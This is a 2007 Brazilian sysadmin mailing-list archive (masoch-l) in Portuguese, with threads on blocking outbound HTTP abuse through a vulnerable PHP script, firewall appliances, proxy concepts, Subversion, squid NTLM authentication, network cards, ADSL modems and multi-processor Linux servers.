https://eng.registro.br/mailman/listinfo/masoch-l

__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l





From wagnerpaxs at gmail.com  Thu Apr 19 14:47:04 2007
From: wagnerpaxs at gmail.com (Wagner)
Date: Thu, 19 Apr 2007 14:47:04 -0300
Subject: [MASOCH-L]
	=?iso-8859-1?q?Bloquear_refer=EAncia_do_tipo_http_no_A?=
	=?iso-8859-1?q?_pache?=
In-Reply-To: <050b01c7829f$f5e22d00$6907a8c0@DIEGONB>
References: <s6276706.099@server-trf8.trf3.gov.br>
	<050b01c7829f$f5e22d00$6907a8c0@DIEGONB>
Message-ID: <c3a114bb0704191047g3cbfed9at949f264f731f093@mail.gmail.com>

Se eu fosse voc? alertaria o(s) seu(s) cliente(s) para a falha no script PHP
dele(s), e aos que n?o ligarem para corrigir a falha em um determinado
prazo, simplesmente exclu?ria o arquivo do servidor alegando que o cliente
possa estar agindo de m? f? e infrigindo o contrato de servi?o.

-- 
Wagner Santos
81 9127 9823 / 87 8807 3970

wagnerpaxs at gmail.com
wagner at dotlinux.net
ICQ: 83709017 | Jabber: xwindow at jabber.org

DotLinux.Net - http://www.dotlinux.net/
Debian-PE    - http://pe.debianbrasil.org/


From wagnerpaxs at gmail.com  Thu Apr 19 16:45:35 2007
From: wagnerpaxs at gmail.com (Wagner)
Date: Thu, 19 Apr 2007 16:45:35 -0300
Subject: [MASOCH-L] Equipamentos Firewall - AV - VPN integrados
In-Reply-To: <46262E0E.50500@unigranrio.edu.br>
References: <46260602.7060704@unigranrio.edu.br>
	<46260A41.3040404@ecosistemas.com.br>
	<46262B7F.4020208@radiante.com.br> <46262E0E.50500@unigranrio.edu.br>
Message-ID: <c3a114bb0704191245jdf4ce25t43991aa854ac7d36@mail.gmail.com>

Concordo com o Silvio,

Voc? est? tendo problemas com sua estrutura? Voc? n?o confia em seu firewall
Linux (Livre), onde voc? consegue ver e modificar de acordo com a sua
necessidade?

E vou mais al?m...

Voc? confiaria em um firewall propriet?rio, onde voc? n?o conhece a
estrutura?

Pense bem antes de tomar sua decis?o ;-)

Em 18/04/07, silvio.cesar at unigranrio.edu.br <silvio.cesar at unigranrio.edu.br>
escreveu:
>
> Minha vis?o:
>
>
>
> Seu firewall est? apresentando problemas ?
>
> Existe alguma previs?o de modifica??o na sua estrutura que possa vir a
> aumentar a carga no seu firewall ?
>
> Voc? confia no conjunto do seu firewall(softwares e hardwares) ?
>
>
> Se as respostas forem n?o, deixo a seguinte frase:
>
> "Time que est? ganhando n?o se mexe".
>
>
>
> Att,
>
> Silvio Cesar L. dos Santos
> Analista de Redes Pleno
> DTI - Divis?o de Tecnologia da Informa??o
> UNIGRANRIO - Universidade do Grande Rio
> +55 21 2672-7720
> silviocesar at unigranrio.edu.br
> http://www.unigranrio.edu.br
>
>
> J. Santos escreveu:
> > Bom dia,
> >
> > Uma empresa apresentou uma proposta de troca dos firewalls linux por
> > produtos chamados por eles de "Firebox", que eu particularmente n?o
> > conhecia.
> >
> > http://www.fortinet.com/products/enterprise.html
> >
> > Gostaria de pedir coment?rios de quem usa e se recomenda.
> >
> > Abra?os,
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>



-- 
Wagner Santos
81 9127 9823 / 87 8807 3970

wagnerpaxs at gmail.com
wagner at dotlinux.net
ICQ: 83709017 | Jabber: xwindow at jabber.org

DotLinux.Net - http://www.dotlinux.net/
Debian-PE    - http://pe.debianbrasil.org/


From fabiano.br at uol.com.br  Thu Apr 19 16:56:08 2007
From: fabiano.br at uol.com.br (Fabiano)
Date: Thu, 19 Apr 2007 16:56:08 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?_Re=3A__Bloquear_refer=EAncia_do_tipo__?=
 =?iso-8859-1?q?http_no_A_pache?=
In-Reply-To: <46278E57.6090807@yahoo.com.br>
References: <029e01c78293$57973840$6907a8c0@DIEGONB>
	<46278E57.6090807@yahoo.com.br>
Message-ID: <7.0.1.0.2.20070419165409.04470880@uol.com.br>



 >    Gostaria de saber se h? como eu bloquear 
qualquer tentativa quando se referir a http*

v?rias solu??es vir?o ... ent?o l? vai mais uma...

seu servidor precisa sair "para fora" (porta 80 
ou 8080,etc...) ?  n?o ? ent?o bloqueie no FW, 
ali?s...bloqueie todas as portas de sa?da que seu 
SERVIDOR  ***N?O*** precisa realizar para a internet...

[]s
Fabiano 



From fabiano.br at uol.com.br  Thu Apr 19 17:00:50 2007
From: fabiano.br at uol.com.br (Fabiano)
Date: Thu, 19 Apr 2007 17:00:50 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?_Re=3A___Re=3A__Bloquear_refer=EAncia_d?=
 =?iso-8859-1?q?o_tipo_http_no_A_pache?=
In-Reply-To: <7.0.1.0.2.20070419165409.04470880@uol.com.br>
References: <029e01c78293$57973840$6907a8c0@DIEGONB>
	<46278E57.6090807@yahoo.com.br>
	<7.0.1.0.2.20070419165409.04470880@uol.com.br>
Message-ID: <7.0.1.0.2.20070419170016.0443fe08@uol.com.br>



de quebra, log de FW e/ou NTOP te mostrar? que/quando "algo" est? estranho ....
[]s
Fabiano


At 16:56 19/4/2007, Fabiano wrote:


>  >    Gostaria de saber se h? como eu bloquear
>qualquer tentativa quando se referir a http*
>
>v?rias solu??es vir?o ... ent?o l? vai mais uma...
>
>seu servidor precisa sair "para fora" (porta 80
>ou 8080,etc...) ?  n?o ? ent?o bloqueie no FW,
>ali?s...bloqueie todas as portas de sa?da que seu
>SERVIDOR  ***N?O*** precisa realizar para a internet...
>
>[]s
>Fabiano
>
>__
>masoch-l list
>https://eng.registro.br/mailman/listinfo/masoch-l



From stdfk at terra.com.br  Thu Apr 19 17:23:24 2007
From: stdfk at terra.com.br (Felipe Kellermann)
Date: Thu, 19 Apr 2007 17:23:24 -0300 (BRT)
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <46277C37.9070300@unesp.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
	<46264D02.8060509@ecosistemas.com.br> <46267FC0.2000707@jonny.eng.br>
	<462681D6.7010003@ecosistemas.com.br> <46277C37.9070300@unesp.br>
Message-ID: <Pine.LNX.4.64.0704191637140.3218@pvaqre.alien.bet>

On Thu, 19 Apr 2007 11:27am  -0300, Francisco J. C. Figueiredo wrote:

> Historicamente o conceito de proxy muitas vezes aparece misturado com o 
> conceito de firewall, por?m penso que numa defini??o mais moderna o 
> proxy pode ser pensado tanto como um componente de um firewall, e a? 
> estou adotando a defini??o de firewall de Chapman e Zwicky, quanto pode 
> ser pensado tendo uma exist?ncia isolada.

Ol? Francisco,

Muito boa tua compila??o de defini??es.  Eu concordo que o uso de gateways 
de aplica??o "estendem" firewalls, como um componente adicional importante 
que pode ser usado, opcionalmente, de forma separada.

A utiliza??o de forma separada se aplica em contextos espec?ficos como o 
que ? feito pelo Tor, por exemplo.  J?, em conjunto, podem ser usados, no 
meu ponto de vista, para estender -- acho que este seria um termo aplicado 
neste contexto -- as atribui??es dos "firewalls".  Atribui??es que, em 
geral, ficam em 1) Dividir redes, 2) Fazer seguran?a de acessos (usado em 
per?metro ou n?o) e 3) Seguran?a de informa??es.

Os "firewalls" como o ISA, por exemplo, s?o h?bridos.  Trabalham tanto no 
contexto dos firewalls tradicionais (NAT, filtro de pacotes) como tamb?m 
atrav?s da an?lise refinada de acessos e informa??es, entrando em detalhes 
sobre os softwares utilizados para acessos, os usu?rios autenticados que 
est?o fazendo acessos, entre outros -- protocolo RWSP deles (aka MSProxy).


Tamb?m, no Linux/BSDs/Solaris e similares hoje se tem feito muito a 
utiliza??o de proxies transparentes, como ? o caso do suporte oferecido 
pelo pr?prio Squid.  Observa-se nestes casos uma integra??o ainda maior 
entre "firewall" e os "gateways de aplica??o".  Quem precisa prover os 
dados de acesso e ajuda ao servi?o de gateway ? o "firewall", que cuida 
dos n?veis inferiores ao n?vel de aplica??o.

Depois disto, os cuidados ficam restringidos ?s atividades deste gateway 
que est? gerenciando o fluxo da aplica??o.  (Sim, eu n?o vejo (N)IDS como 
um componente de um firewall, portanto).  Mas neste exemplo, j? existe bem 
pouca diferen?a entre "firewall" e "proxy" -- s?o dois componentes que 
trabalham juntos, o proxy servindo como componente do firewall.

Atualmente tem se feito um trabalho grande em sistemas como o Linux para 
trazer as atividades de firewall (tracking, helpers, matches) para a ?rea 
de "user space" mesmo (libnfnetlink e outros), fazendo com que softwares 
possam atuar no limite kernel-space e user-space para poder fazer algumas 
an?lises mais profundas nas informa??es de rede.


Nesta mesma linha, recentemente eu estive escrevendo para a empresa que 
trabalho um projeto de "gateway de aplica??o" de prop?sito geral, que faz 
uso de diferentes tipos de transporte, ? extens?vel (plugins, DSOs, podem 
ser adicionados/removidos/atualizados/etc), gerenci?vel (protocolo para 
administra??o, publish-subscribe de eventos, manuten??o de blackboard, e 
outras coisas).

A id?ia deste projeto ?, justamente, estender firewalls (como Netfilter, 
ou IPF, ou PF, ou IPFilter, etc) para ter controle/gerenciamento bem mais 
refinado do que simplesmente analisar dados de rede/transporte.


-- 
Felipe Kellermann
felipek at wait4.org


From hamilton at i2.com.br  Thu Apr 19 18:55:49 2007
From: hamilton at i2.com.br (Hamilton Vera)
Date: Thu, 19 Apr 2007 18:55:49 -0300 (BRT)
Subject: [MASOCH-L] Servico para controle de versao de software.
In-Reply-To: <Pine.LNX.4.64.0704191637140.3218@pvaqre.alien.bet>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
	<46264D02.8060509@ecosistemas.com.br> <46267FC0.2000707@jonny.eng.br>
	<462681D6.7010003@ecosistemas.com.br> <46277C37.9070300@unesp.br>
	<Pine.LNX.4.64.0704191637140.3218@pvaqre.alien.bet>
Message-ID: <Pine.LNX.4.63.0704191851290.1244@lima.i2.com.br>

Caros Jeronimo e Edison, obrigado pelas dicas.

Consegui resultados bem satisfatorios com o SVN, fiz testes usando tanto o 
dbd como o fsfs. Obtive melhores resultados com o fsfs, em termos gerais 
algo em torno de 25%.

Obrigado pela ajuda.


> Oi, Hamilton.
> 
> Tamb?m utilizo o subversion. O problema da lentid?o no seu reposit?rio
> deve ser a configura??o do BerkeleyDB usado pelo subversion. Verifique
> dentro do diret?rio desse reposit?rio a exist?ncia do arquivo de
> configura??o DB_CONFIG. A diretiva que te d? um melhor ganho de
> performance ? a set_cachesize. D? uma olhada em:
> 
> http://www.openldap.org/faq/data/cache/1072.html

From juliano.dapper at getnet-tecnologia.com.br  Fri Apr 20 13:01:32 2007
From: juliano.dapper at getnet-tecnologia.com.br (=?ISO-8859-1?Q?F=E1bio_Juliano_Dapper?=)
Date: Fri, 20 Apr 2007 13:01:32 -0300
Subject: [MASOCH-L] squid+ntlm
Message-ID: <4628E3DC.2070405@getnet-tecnologia.com.br>

Algu?m tem usado squid com NTLM ?

Tenho um ambiente com PDC samba e backend OpenLDAP.

Fiz testes com o m?dulo ldap_auth, mas agora preciso algo transparente ao
usu?rio sem ter que usar proxy transparente.

-- 


From cleberps at gmail.com  Fri Apr 20 14:08:23 2007
From: cleberps at gmail.com (Cleber P. de Souza)
Date: Fri, 20 Apr 2007 14:08:23 -0300
Subject: [MASOCH-L] squid+ntlm
In-Reply-To: <4628E3DC.2070405@getnet-tecnologia.com.br>
References: <4628E3DC.2070405@getnet-tecnologia.com.br>
Message-ID: <bd2415a70704201008y3e5fcde7w8eb7f025c0a96df0@mail.gmail.com>

Voc? pode procurar por NTLMSSP.
Algo como abaixo no seu squid.conf:
auth_param ntlm program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp
auth_param ntlm children 5
auth_param ntlm max_challenge_reuses 0
auth_param ntlm max_challenge_lifetime 20 minutes

Se n?o me engano voc? precisa tamb?m do helper para quando o browser
n?o consegue validar o usu?rio e senha.


On 4/20/07, F?bio Juliano Dapper
<juliano.dapper at getnet-tecnologia.com.br> wrote:
> Algu?m tem usado squid com NTLM ?
>
> Tenho um ambiente com PDC samba e backend OpenLDAP.
>
> Fiz testes com o m?dulo ldap_auth, mas agora preciso algo transparente ao
> usu?rio sem ter que usar proxy transparente.
>
> --
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


-- 
***
Cleber P. de Souza


From juliano.dapper at getnet-tecnologia.com.br  Fri Apr 20 14:12:05 2007
From: juliano.dapper at getnet-tecnologia.com.br (=?windows-1252?Q?F=E1bio_Juliano_Dapper?=)
Date: Fri, 20 Apr 2007 14:12:05 -0300
Subject: [MASOCH-L] squid+ntlm
In-Reply-To: <bd2415a70704201008y3e5fcde7w8eb7f025c0a96df0@mail.gmail.com>
References: <4628E3DC.2070405@getnet-tecnologia.com.br>
	<bd2415a70704201008y3e5fcde7w8eb7f025c0a96df0@mail.gmail.com>
Message-ID: <4628F465.2080607@getnet-tecnologia.com.br>

Pelo que li at? agora, a melhor forma de fazer ? usar o ntlm_auth do 
winbind mesmo.

Vi algumas dicas para configurar o firefox para trabalhar com ntlm tamb?m.

Valeu!

Cleber P. de Souza wrote:
> Voc? pode procurar por NTLMSSP.
> Algo como abaixo no seu squid.conf:
> auth_param ntlm program /usr/bin/ntlm_auth 
> --helper-protocol=squid-2.5-ntlmssp
> auth_param ntlm children 5
> auth_param ntlm max_challenge_reuses 0
> auth_param ntlm max_challenge_lifetime 20 minutes
> 
> Se n?o me engano voc? precisa tamb?m do helper para quando o browser
> n?o consegue validar o usu?rio e senha.
> 
> 
> On 4/20/07, F?bio Juliano Dapper
> <juliano.dapper at getnet-tecnologia.com.br> wrote:
>> Algu?m tem usado squid com NTLM ?
>>
>> Tenho um ambiente com PDC samba e backend OpenLDAP.
>>
>> Fiz testes com o m?dulo ldap_auth, mas agora preciso algo transparente ao
>> usu?rio sem ter que usar proxy transparente.
>>
>> -- 
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
> 
> 

-- 
  _____________________________________________________________
| F?bio Juliano Dapper					
| LPIC-2 Certified					
| Getnet - Tecnologia em Captura e Processamento de Transa??es
| Fone: +55 (51) 3598-9800 Fax: +55 (51) 3598-9801	
  _____________________________________________________________

?Esta mensagem ? endere?ada exclusivamente ?(s) pessoa(s) e/ou 
institui??es acima indicadas e pode conter informa??es confidenciais, 
particulares ou privilegiadas, as quais n?o podem, sob qualquer forma ou 
pretexto, ser utilizadas, divulgadas, alteradas, impressas ou copiadas, 
total ou parcialmente, por pessoas n?o autorizadas. No caso desta 
mensagem ser recebida por erro, por favor, providencie sua exclus?o, 
notificando o remetente imediatamente?.


From jean.vosch at gmail.com  Fri Apr 20 15:06:41 2007
From: jean.vosch at gmail.com (Jean Marcel Vosch)
Date: Fri, 20 Apr 2007 15:06:41 -0300
Subject: [MASOCH-L] Placa de Rede Intel
Message-ID: <68b0d6aa0704201106w4f3dae2bvfe46abfec35eb122@mail.gmail.com>

Pessoal,

Algu?m tem uma dessas aqui na ativa?
http://www.intel.com/network/connectivity/products/pro1000mt_dual_server_adapter.htm

Vale a pena o investimento?

[]s


From antoniocarlospina at gmail.com  Fri Apr 20 15:12:33 2007
From: antoniocarlospina at gmail.com (Antonio Carlos Pina)
Date: Fri, 20 Apr 2007 15:12:33 -0300
Subject: [MASOCH-L] Placa de Rede Intel
In-Reply-To: <68b0d6aa0704201106w4f3dae2bvfe46abfec35eb122@mail.gmail.com>
References: <68b0d6aa0704201106w4f3dae2bvfe46abfec35eb122@mail.gmail.com>
Message-ID: <86b352050704201112h302def20k90875c11ce7dc1f7@mail.gmail.com>

Eu tenho v?rias dessas e vale o investimento sim,  mas depende do que voc?
quer fazer com ela.
Se for para ambientes de pouca carga, prefira a GT, muito mais barata.

Abs.


Em 20/04/07, Jean Marcel Vosch <jean.vosch at gmail.com> escreveu:
>
> Pessoal,
>
> Algu?m tem uma dessas aqui na ativa?
>
> http://www.intel.com/network/connectivity/products/pro1000mt_dual_server_adapter.htm
>
> Vale a pena o investimento?
>
> []s
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From security at onda.com.br  Fri Apr 20 15:18:54 2007
From: security at onda.com.br (Anderson Nadal)
Date: Fri, 20 Apr 2007 15:18:54 -0300
Subject: [MASOCH-L] Placa de Rede Intel
In-Reply-To: <68b0d6aa0704201106w4f3dae2bvfe46abfec35eb122@mail.gmail.com>
References: <68b0d6aa0704201106w4f3dae2bvfe46abfec35eb122@mail.gmail.com>
Message-ID: <4629040E.8070606@onda.com.br>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Eu tenho algumas. Nunca tive problemas, uma ?tima placa.
Pena que n?o acho para vender. Se alguem tiver uma indica??o de alguma
revenda, seria de grande ajuda. :)

[]'s
Nadal


"N?o discuta com idiotas, eles te levam at? o n?vel deles e te vencem
por serem experientes"

+-------------------------------------------------------+
|  Anderson Nadal <nadal at ondacorp.com.br> - CCNA/RHCE   |
|                Coordenador Tecnico                    |
|          Fone: + 55 41 3906 8200                      |
|          FAX:     + 55 41 3906 8201                      |
|                     OndaRPC                           |
|               www.ondarpc.com.br                      |
|            Registered Linux User: 56841               |
|     PGP KEY: www.keyserver.net KEY ID 6ABB668D        |
+-------------------------------------------------------+



Jean Marcel Vosch escreveu:
> Pessoal,
>
> Algu?m tem uma dessas aqui na ativa?
> http://www.intel.com/network/connectivity/products/pro1000mt_dual_server_adapter.htm
>
> Vale a pena o investimento?
>
> []s
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (GNU/Linux)
Comment: Using GnuPG with Fedora - http://enigmail.mozdev.org

iD8DBQFGKQQMLQAusHT90XQRAsrqAKCt2gYJISRoaznzdtrS9zYvL1J14gCeIG3T
4kJ+F4UADiTbYkviPOfVCOY=
=/69h
-----END PGP SIGNATURE-----



From jonny at jonny.eng.br  Fri Apr 20 15:49:25 2007
From: jonny at jonny.eng.br (=?ISO-8859-1?Q?Jo=E3o_Carlos_Mendes_Luis?=)
Date: Fri, 20 Apr 2007 15:49:25 -0300
Subject: [MASOCH-L] Placa de Rede Intel
In-Reply-To: <86b352050704201112h302def20k90875c11ce7dc1f7@mail.gmail.com>
References: <68b0d6aa0704201106w4f3dae2bvfe46abfec35eb122@mail.gmail.com>
	<86b352050704201112h302def20k90875c11ce7dc1f7@mail.gmail.com>
Message-ID: <46290B35.5000000@jonny.eng.br>

Onde voce consegue comprar???  E a que pre?o?

Antonio Carlos Pina wrote:
> Eu tenho v?rias dessas e vale o investimento sim,  mas depende do que voc?
> quer fazer com ela.
> Se for para ambientes de pouca carga, prefira a GT, muito mais barata.
> 
> Abs.
> 
> 
> Em 20/04/07, Jean Marcel Vosch <jean.vosch at gmail.com> escreveu:
>> Pessoal,
>>
>> Algu?m tem uma dessas aqui na ativa?
>>
>> http://www.intel.com/network/connectivity/products/pro1000mt_dual_server_adapter.htm
>>
>> Vale a pena o investimento?
>>
>> []s
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l



					Jonny

-- 
Jo?o Carlos Mendes Lu?s			jonny at jonny.eng.br
   Networking Engineer


From jean.vosch at gmail.com  Fri Apr 20 15:55:53 2007
From: jean.vosch at gmail.com (Jean Marcel Vosch)
Date: Fri, 20 Apr 2007 15:55:53 -0300
Subject: [MASOCH-L] Placa de Rede Intel
In-Reply-To: <46290B35.5000000@jonny.eng.br>
References: <68b0d6aa0704201106w4f3dae2bvfe46abfec35eb122@mail.gmail.com>
	<86b352050704201112h302def20k90875c11ce7dc1f7@mail.gmail.com>
	<46290B35.5000000@jonny.eng.br>
Message-ID: <68b0d6aa0704201155y571bbe56g4d1513898dc7a0b@mail.gmail.com>

Pessoal,

Eu vi essa placa num site que foi passado na GTER algum tempo atr?s.

http://intranet.sinco.net/equipamentos/produto.asp?tipo=5

R$ 810,90.

[]s

Jean


Em 20/04/07, Jo?o Carlos Mendes Luis <jonny at jonny.eng.br> escreveu:
>
> Onde voce consegue comprar???  E a que pre?o?
>
> Antonio Carlos Pina wrote:
> > Eu tenho v?rias dessas e vale o investimento sim,  mas depende do que
> voc?
> > quer fazer com ela.
> > Se for para ambientes de pouca carga, prefira a GT, muito mais barata.
> >
> > Abs.
> >
> >
> > Em 20/04/07, Jean Marcel Vosch <jean.vosch at gmail.com> escreveu:
> >> Pessoal,
> >>
> >> Algu?m tem uma dessas aqui na ativa?
> >>
> >>
> http://www.intel.com/network/connectivity/products/pro1000mt_dual_server_adapter.htm
> >>
> >> Vale a pena o investimento?
> >>
> >> []s
> >> __
> >> masoch-l list
> >> https://eng.registro.br/mailman/listinfo/masoch-l
> >>
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
>
>
>
>                                        Jonny
>
> --
> Jo?o Carlos Mendes Lu?s                 jonny at jonny.eng.br
>   Networking Engineer
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From david at infonet.com.br  Mon Apr 23 10:23:08 2007
From: david at infonet.com.br (david at infonet.com.br)
Date: Mon, 23 Apr 2007 10:23:08 -0300
Subject: [MASOCH-L] modem ADSL
Message-ID: <1177334588.462cb33cd4e2b@webmail.infonet.com.br>


   Ol? pessoal,

   Gostaria de saber a opni?o de voces sobre um bom modem ADSL. Trabalho atualmente com o 
ADSL DSL-500T da D-link, que para a minha aplica??o (internet compartilhada) apresenta 
bons resultados, contra outros (Hauway, Speed-Stream, proprio D-link (outros modelos 
(G,B)) que "travam" constantemente. O problema ? que n?o estou mais conseguindo comprar o 
modelo T da D-link, me parece que j? est? saindo do mercado, sendo subtituido pelo B, mas 
que trava como os outros.


David Magno Santos de Almeida
Suporte T?cnico
InfoNet - Solu??es Internet
(0xx79) 2106-8000/  (0xx79) 9978-7925 
david at infonet.com.br


From rafael at grupouds.com.br  Mon Apr 23 11:05:46 2007
From: rafael at grupouds.com.br (Rafael Augusto)
Date: Mon, 23 Apr 2007 11:05:46 -0300
Subject: [MASOCH-L] modem ADSL
References: <1177334588.462cb33cd4e2b@webmail.infonet.com.br>
Message-ID: <000e01c785b0$7f3eaa20$a801a8c0@uds68514a09ca7>

David,

        Particularmente gosto dos 3COM Officeconnect 812 e do Parks Zyxel 
prestige 642.

Att,
                Rafael Augusto

_____________________________
     UDS - Solu??es Digitais
  http://www.grupouds.com.br
          (44) 3029-1333

----- Original Message ----- 
From: <david at infonet.com.br>
To: <masoch-l at eng.registro.br>
Sent: Monday, April 23, 2007 10:23 AM
Subject: [MASOCH-L] modem ADSL



   Ol? pessoal,

   Gostaria de saber a opni?o de voces sobre um bom modem ADSL. Trabalho 
atualmente com o
ADSL DSL-500T da D-link, que para a minha aplica??o (internet compartilhada) 
apresenta
bons resultados, contra outros (Hauway, Speed-Stream, proprio D-link (outros 
modelos
(G,B)) que "travam" constantemente. O problema ? que n?o estou mais 
conseguindo comprar o
modelo T da D-link, me parece que j? est? saindo do mercado, sendo 
subtituido pelo B, mas
que trava como os outros.


David Magno Santos de Almeida
Suporte T?cnico
InfoNet - Solu??es Internet
(0xx79) 2106-8000/  (0xx79) 9978-7925
david at infonet.com.br
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l 



From jmoura at ninetel.com.br  Mon Apr 23 14:13:16 2007
From: jmoura at ninetel.com.br (JOAO CARLOS MOURA)
Date: Mon, 23 Apr 2007 14:13:16 -0300
Subject: [MASOCH-L] Duplo Processador
Message-ID: <005801c785ca$b08ff1a0$0301a8c0@bobsponja>

Ol? lista, gostaria de receber algum tipo de informa??o a respeito
do gerenciamento de processadores no linux.

Adquiri um DELL 2950 Power Edger com dois processadores e instalei o
Centos 4 Linux version 2.6.9-42.0.2.ELsmp.
Quando fa?o cat /proc/cpuinfo aparecem 8 processadores.

Minhas d?vidas s?o:
O linux gerencia automaticamente esses processadores ou tenho que
fazer alguma modificacao no kernel para ter melhor aproveitamento da maquina?

Existe alguma forma de especificar uma aplicacao para um determinado
processador?

Desculpe pelas perguntas mais preciso tirar essas d?vidas e conto com a ajuda
de voces.

Obrigado



Jo?o Carlos Moura
jmoura at crdusa.net

NINETEL TELCO,Inc
168 SE 1ST Street Suite 603) 
Miami - FL - USA
Direct Phone   1 786 272 0189
Sales/Support 1 786 522 7219


From rafaelpossa at gmail.com  Mon Apr 23 14:17:19 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Mon, 23 Apr 2007 14:17:19 -0300
Subject: [MASOCH-L] Duplo Processador
References: <005801c785ca$b08ff1a0$0301a8c0@bobsponja>
Message-ID: <002001c785cb$458d9370$0200a8c0@OASIS>

http://www.2cpu.com/

talvez possa te ajudar.

Rafael



----- Original Message ----- 
From: "JOAO CARLOS MOURA" <jmoura at ninetel.com.br>
To: <masoch-l at eng.registro.br>
Sent: Monday, April 23, 2007 2:13 PM
Subject: [MASOCH-L] Duplo Processador


Ol? lista, gostaria de receber algum tipo de informa??o a respeito
do gerenciamento de processadores no linux.

Adquiri um DELL 2950 Power Edger com dois processadores e instalei o
Centos 4 Linux version 2.6.9-42.0.2.ELsmp.
Quando fa?o cat /proc/cpuinfo aparecem 8 processadores.

Minhas d?vidas s?o:
O linux gerencia automaticamente esses processadores ou tenho que
fazer alguma modificacao no kernel para ter melhor aproveitamento da 
maquina?

Existe alguma forma de especificar uma aplicacao para um determinado
processador?

Desculpe pelas perguntas mais preciso tirar essas d?vidas e conto com a 
ajuda
de voces.

Obrigado



Jo?o Carlos Moura
jmoura at crdusa.net

NINETEL TELCO,Inc
168 SE 1ST Street Suite 603)
Miami - FL - USA
Direct Phone   1 786 272 0189
Sales/Support 1 786 522 7219
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l 



From fernando at bluesolutions.com.br  Mon Apr 23 14:20:27 2007
From: fernando at bluesolutions.com.br (Fernando Ulisses dos Santos)
Date: Mon, 23 Apr 2007 14:20:27 -0300 (BRT)
Subject: [MASOCH-L] Duplo Processador
In-Reply-To: <005801c785ca$b08ff1a0$0301a8c0@bobsponja>
References: <005801c785ca$b08ff1a0$0301a8c0@bobsponja>
Message-ID: <44187.201.62.120.198.1177348827.squirrel@blue.bluesolutions.com.br>

Ol? Jo?o,

O Kernel smp ? o kernel que habilita 2 ou mais processadores, se voc?
visualizou-os no /proc/cpuinfo, ent?o est? correto.

Com aplica??es normais, acho que n?o d? para alocar para um determinado
processador, ele vai alocar o processador que estiver mais livre no
momento.

Voc? disse que apareceram 8 processadores, se s?o duas pastilhas, voc?
deve ter 2 x Quad Core, ou 2 x Dual Core com HT.

Para veficiar o uso de cada processador, com o comando "top" rodando,
pressione "1", e ele detalha no topo o uso de todos os processadores.

Ps. algumas aplica??es n?o est?o habilitadas para tirar proveito de mais
de 1 processador, j? outras (como Firebird) requerem vers?o espec?fica
para tirar proveito.

--
Fernando Ulisses dos Santos
Blue Solutions - Solu??es em TI
19-3551-3898 / 11-4062-9218
fernando at bluesolutions.com.br
Certificado Linux LPIC-1

JOAO CARLOS MOURA escreveu:
> Ol? lista, gostaria de receber algum tipo de informa??o a respeito
> do gerenciamento de processadores no linux.
>
> Adquiri um DELL 2950 Power Edger com dois processadores e instalei o
> Centos 4 Linux version 2.6.9-42.0.2.ELsmp.
> Quando fa?o cat /proc/cpuinfo aparecem 8 processadores.
>
> Minhas d?vidas s?o:
> O linux gerencia automaticamente esses processadores ou tenho que
> fazer alguma modificacao no kernel para ter melhor aproveitamento da
> maquina?
>
> Existe alguma forma de especificar uma aplicacao para um determinado
> processador?
>
> Desculpe pelas perguntas mais preciso tirar essas d?vidas e conto com a
> ajuda
> de voces.
>
> Obrigado
>
>
>
> Jo?o Carlos Moura
> jmoura at crdusa.net
>
> NINETEL TELCO,Inc
> 168 SE 1ST Street Suite 603)
> Miami - FL - USA
> Direct Phone   1 786 272 0189
> Sales/Support 1 786 522 7219
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>




From cleberps at gmail.com  Mon Apr 23 14:41:23 2007
From: cleberps at gmail.com (Cleber P. de Souza)
Date: Mon, 23 Apr 2007 14:41:23 -0300
Subject: [MASOCH-L] Duplo Processador
In-Reply-To: <005801c785ca$b08ff1a0$0301a8c0@bobsponja>
References: <005801c785ca$b08ff1a0$0301a8c0@bobsponja>
Message-ID: <bd2415a70704231041r18dea89aj481ddb0158f015bf@mail.gmail.com>

> Existe alguma forma de especificar uma aplicacao para um determinado
> processador?
Use o comando taskset para isso.

-- 
***
Cleber P. de Souza


From david at infonet.com.br  Mon Apr 23 14:39:48 2007
From: david at infonet.com.br (david at infonet.com.br)
Date: Mon, 23 Apr 2007 14:39:48 -0300
Subject: [MASOCH-L] modem ADSL
In-Reply-To: <000e01c785b0$7f3eaa20$a801a8c0@uds68514a09ca7>
References: <1177334588.462cb33cd4e2b@webmail.infonet.com.br>
	<000e01c785b0$7f3eaa20$a801a8c0@uds68514a09ca7>
Message-ID: <20070423143948.5d346xfh2g4cw0kg@wbeta.infonet.com.br>

Citando Rafael Augusto <rafael at grupouds.com.br>:

> David,
>
> ? ? ? ? ?Particularmente gosto dos 3COM Officeconnect 812 e do Parks
Zyxel
> prestige 642.
>
> Att,
> ? ? ? ? ? ? ? ? ?Rafael Augusto

    Voce saberia indicar alguma fonte de venda para esse modem Parks Zyxel?


>
> _____________________________
> ? ? ? UDS - Solu??es Digitais
> ? ?http://www.grupouds.com.br[1]
> ? ? ? ? ? ?(44) 3029-1333
>
> ----- Original Message -----
> From: <david at infonet.com.br>
> To: <masoch-l at eng.registro.br>
> Sent: Monday, April 23, 2007 10:23 AM
> Subject: [MASOCH-L] modem ADSL
>
>
>
> ? ? Ol? pessoal,
>
> ? ? Gostaria de saber a opni?o de voces sobre um bom modem ADSL.
Trabalho
> atualmente com o
